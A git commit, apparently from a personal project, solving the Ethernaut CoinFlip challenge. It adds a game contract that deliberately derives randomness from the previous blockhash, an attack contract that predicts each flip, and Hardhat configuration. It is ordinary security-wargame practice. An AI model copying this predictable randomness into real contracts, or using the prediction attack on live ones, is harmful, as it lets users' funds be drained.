Ethernaut challenge 3: CoinFlip

antico5 · Nov 25, 2021 · 4b302d7 · 4b302d7
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diff --git a/ethernaut_challenges/.env.example b/ethernaut_challenges/.env.example
@@ -0,0 +1,2 @@
+ALCHEMY_API_KEY=
+ROPSTEN_PRIVATE_KEY=
diff --git a/ethernaut_challenges/.gitignore b/ethernaut_challenges/.gitignore
@@ -0,0 +1,8 @@
+node_modules
+.env
+
+#Hardhat files
+cache
+artifacts
+dist
+local
diff --git a/ethernaut_challenges/.prettierrc b/ethernaut_challenges/.prettierrc
@@ -0,0 +1,16 @@
+{
+  "overrides": [
+    {
+      "files": "*.sol",
+      "options": {
+        "printWidth": 120,
+        "tabWidth": 2,
+        "useTabs": false,
+        "singleQuote": false,
+        "bracketSpacing": false,
+        "explicitTypes": "always",
+        "semi": true
+      }
+    }
+  ]
+}
diff --git a/ethernaut_challenges/abis/ethernaut.json b/ethernaut_challenges/abis/ethernaut.json
@@ -0,0 +1,131 @@
+[
+  {
+    "anonymous": false,
+    "inputs": [
+      {
+        "indexed": true,
+        "internalType": "address",
+        "name": "player",
+        "type": "address"
+      },
+      {
+        "indexed": false,
+        "internalType": "contract Level",
+        "name": "level",
+        "type": "address"
+      }
+    ],
+    "name": "LevelCompletedLog",
+    "type": "event"
+  },
+  {
+    "anonymous": false,
+    "inputs": [
+      {
+        "indexed": true,
+        "internalType": "address",
+        "name": "player",
+        "type": "address"
+      },
+      {
+        "indexed": false,
+        "internalType": "address",
+        "name": "instance",
+        "type": "address"
+      }
+    ],
+    "name": "LevelInstanceCreatedLog",
+    "type": "event"
+  },
+  {
+    "anonymous": false,
+    "inputs": [
+      {
+        "indexed": true,
+        "internalType": "address",
+        "name": "previousOwner",
+        "type": "address"
+      },
+      {
+        "indexed": true,
+        "internalType": "address",
+        "name": "newOwner",
+        "type": "address"
+      }
+    ],
+    "name": "OwnershipTransferred",
+    "type": "event"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "contract Level",
+        "name": "_level",
+        "type": "address"
+      }
+    ],
+    "name": "createLevelInstance",
+    "outputs": [],
+    "stateMutability": "payable",
+    "type": "function"
+  },
+  {
+    "inputs": [],
+    "name": "owner",
+    "outputs": [
+      {
+        "internalType": "address",
+        "name": "",
+        "type": "address"
+      }
+    ],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "contract Level",
+        "name": "_level",
+        "type": "address"
+      }
+    ],
+    "name": "registerLevel",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [],
+    "name": "renounceOwnership",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "address payable",
+        "name": "_instance",
+        "type": "address"
+      }
+    ],
+    "name": "submitLevelInstance",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "address",
+        "name": "newOwner",
+        "type": "address"
+      }
+    ],
+    "name": "transferOwnership",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  }
+]
diff --git a/ethernaut_challenges/contracts/3_CoinFlip.sol b/ethernaut_challenges/contracts/3_CoinFlip.sol
@@ -0,0 +1,35 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+import "@openzeppelin/contracts/math/SafeMath.sol";
+
+contract CoinFlip {
+  using SafeMath for uint256;
+  uint256 public consecutiveWins;
+  uint256 lastHash;
+  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+
+  constructor() public {
+    consecutiveWins = 0;
+  }
+
+  function flip(bool _guess) public returns (bool) {
+    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
+
+    if (lastHash == blockValue) {
+      revert();
+    }
+
+    lastHash = blockValue;
+    uint256 coinFlip = blockValue.div(FACTOR);
+    bool side = coinFlip == 1 ? true : false;
+
+    if (side == _guess) {
+      consecutiveWins++;
+      return true;
+    } else {
+      consecutiveWins = 0;
+      return false;
+    }
+  }
+}
diff --git a/ethernaut_challenges/contracts/3_CoinFlipAttack.sol b/ethernaut_challenges/contracts/3_CoinFlipAttack.sol
@@ -0,0 +1,31 @@
+pragma solidity ^0.6.0;
+
+import "./3_CoinFlip.sol";
+import "@openzeppelin/contracts/math/SafeMath.sol";
+
+contract CoinFlipAttack {
+  using SafeMath for uint256;
+
+  uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+
+  CoinFlip public target;
+  uint256 lastBlockNumberRun;
+
+  event CurrentWins(uint256 indexed wins);
+
+  constructor(CoinFlip _target) public {
+    target = _target;
+  }
+
+  function guess() public {
+    require(block.number > lastBlockNumberRun, "Already ran this block!");
+    lastBlockNumberRun = block.number;
+
+    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
+    uint256 coinFlip = blockValue.div(FACTOR);
+    bool side = coinFlip == 1 ? true : false;
+
+    target.flip(side);
+    emit CurrentWins(target.consecutiveWins());
+  }
+}
diff --git a/ethernaut_challenges/hardhat.config.ts b/ethernaut_challenges/hardhat.config.ts
@@ -0,0 +1,61 @@
+import "@atixlabs/hardhat-time-n-mine";
+import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions";
+import "@nomiclabs/hardhat-waffle";
+import dotenv from "dotenv";
+import "hardhat-gas-reporter";
+import "hardhat-tracer";
+import { task } from "hardhat/config";
+
+dotenv.config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (args, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(await account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+export default {
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.7",
+        settings: {
+          outputSelection: {
+            "*": {
+              "*": ["storageLayout"],
+            },
+          },
+        },
+      },
+      {
+        version: "0.6.0",
+        settings: {
+          outputSelection: {
+            "*": {
+              "*": ["storageLayout"],
+            },
+          },
+        },
+      },
+    ],
+  },
+  networks: {
+    ropsten: {
+      url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
+      accounts:
+        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    },
+    rinkeby: {
+      url: `https://eth-rinkeby.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`,
+      accounts:
+        process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [],
+    },
+  },
+};